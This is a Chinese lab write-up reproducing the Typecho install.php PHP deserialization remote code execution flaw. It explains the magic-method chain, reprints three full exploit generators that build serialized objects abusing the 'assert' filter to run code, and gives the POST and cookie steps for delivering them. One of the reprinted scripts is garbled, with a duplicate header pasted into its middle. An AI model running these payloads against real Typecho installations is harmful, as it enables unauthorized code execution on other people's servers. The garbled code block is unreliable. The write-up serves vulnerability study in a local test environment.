Typecho反序列化导致前台 getshell 漏洞复现
漏洞描述:
Typecho是一款快速建博客的程序,外观简洁,应用广泛。这次的漏洞通过install.php安装程序页面的反序列化函数,造成了命令执行。
影响范围:理论上这个漏洞影响Typecho 1.1(15.5.12)之前的版本
首先我还是记录一下敏感目录
http://127.0.0.1/typecho0.9/install.php
http://127.0.0.1/typecho0.9/install.php?finish&user=admin&password=admin
http://127.0.0.1/typecho0.9/admin/welcome.php
使用环境:
Phpstudy+win7虚拟机
Typecho_v1.0.14.tar.gz https://pan.baidu.com/s/1jHQBKFk (在里面找相应的名字)
漏洞成因:
Freebuf上的文章说的很清楚了,有两个需要理解的点:
第一个是__toString()魔法方法,在/install.php
__toString() //把类当作字符串使用时触发
这块利用Typecho_Db函数,跟进这个函数,/var/Typecho/Db.php,发现$adapterName定义的时候拼接了一个字符串,根据文章作者说,PHP是弱类型的语言,把一个字符串和一个类拼接的时候,会强制把类转换成字符串,所以就会触发传进来的这个类的toString方法。
第二个是__get()魔法方法,
__get() //用于从不可访问的属性读取数据
这块设置author由screenName确定,如果在类里面加上这个方法,我们给$item['author']设置的类中没有screenName私有属性就会执行该类的__get()方法。
通过__get()函数返回_applyFilter($value),将可执行代码赋值给$value触发漏洞。
漏洞复现过程:
这个漏洞复现就有一点坎坷了,起初我发现typecho里面有历史版本的下载,于是下载了一个0.9版本的,可是多次尝试仍以失败告终,后来在对比漏洞原理的时候,发现与存在漏洞的版本有出入,难不成历史版本作者也一直在更新。。。好吧,上网找了一个第三方的下了一个1.0.14,在报错的情况下完成了复现。
建站就不多说了,直接安装没有问题。安装成功如图
http://www.freebuf.com/vuls/152058.html
这位大牛漏洞原理讲的特别详细,建议看看。
反序列化漏洞要利用势必离不开魔术方法,作者收集的和PHP反序列化有关的PHP函数:__wakeup() //使用unserialize时触发__sleep() //使用serialize时触发__destruct() //对象被销毁时触发__call() //在对象上下文中调用不可访问的方法时触发__callStatic() //在静态上下文中调用不可访问的方法时触发__get() //用于从不可访问的属性读取数据__set() //用于将数据写入不可访问的属性__isset() //在不可访问的属性上调用isset()或empty()触发__unset() //在不可访问的属性上使用unset()时触发__toString() //把类当作字符串使用时触发__invoke() //当脚本尝试将对象调用为函数时触发
Freebuf版EXP http://www.freebuf.com/vuls/152058.html
<?php class Typecho_Feed { const RSS1 = 'RSS 1.0'; const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; const DATE_RFC822 = 'r'; const DATE_W3CDTF = 'c'; const EOL = "\n"; private $_type; private $_items; public function __construct(){ $this->_type = $this::RSS2; $this->_items[0] = array( 'title' => '1', 'link' => '1', 'date' => 1508895132, 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(), ); } } class Typecho_Request { private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params['screenName'] = 'phpinfo()'; $this->_filter[0] = 'assert'; } } $exp = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ); echo base64_encode(serialize($exp)); ?>
knownsec版EXP https://paper.seebug.org/424/
<?php class Typecho_Feed { const RSS1 = 'RSS 1.0'; const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; const DATE_RFC822 = 'r'; const DATE_W3CDTF = 'c'; const EOL = "\n"; private $_type; private $_items; public function __construct(){ $this->_type = $this::RSS2; $this->_items[0] = array( 'title' => '1', 'link' => '1', 'date' => 1508895132, 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(), ); } } class Typecho_Request { private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params['screenName'] = 'phpinfo()'; $this->_filter[0] = 'assert'; } } $exp = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ); echo base64_encode(serialize($exp)); knownsec版EXP https://paper.seebug.org/424/ <?php class Typecho_Request { private $_params = array(); private $_filter = array(); public function __construct() { // $this->_params['screenName'] = 'whoami'; $this->_params['screenName'] = -1; $this->_filter[0] = 'phpinfo'; } } class Typecho_Feed { const RSS2 = 'RSS 2.0'; /** 定义ATOM 1.0类型 */ const ATOM1 = 'ATOM 1.0'; /** 定义RSS时间格式 */ const DATE_RFC822 = 'r'; /** 定义ATOM时间格式 */ const DATE_W3CDTF = 'c'; /** 定义行结束符 */ const EOL = "\n"; private $_type; private $_items = array(); public $dateFormat; public function __construct() { $this->_type = self::RSS2; $item['link'] = '1'; $item['title'] = '2'; $item['date'] = 1507720298; $item['author'] = new Typecho_Request(); $item['category'] = array(new Typecho_Request()); $this->_items[0] = $item; } } $x = new Typecho_Feed(); $a = array( 'host' => 'localhost', 'user' => 'xxxxxx', 'charset' => 'utf8', 'port' => '3306', 'database' => 'typecho', 'adapter' => $x, 'prefix' => 'typecho_' ); echo urlencode(base64_encode(serialize($a))); ?>
360安全客版EXP http://bobao.360.cn/learning/detail/4610.html
<?php class Typecho_Request { private $_params = array('screenName'=>'eval(\'phpinfo();exit();\')'); private $_filter = array('assert'); } $payload1 = new Typecho_Request(); class Typecho_Feed { private $_type = 'RSS 2.0'; private $_items; public function __construct($x1) { $this->_items[] = array('author'=>$x1); } } $payload2 = new Typecho_Feed($payload1); $exp['adapter'] = $payload2; $exp['prefix'] = 'c1tas'; echo base64_encode(serialize($exp)); ?>
用post提交数据
url:http://192.168.198.128/Typecho1.0/install.php?finish=
Postdata:__typecho_config=前面脚本生成的
Referrer:http://192.168.198.128/Typecho1.0/
另一种方式是通过cookie提交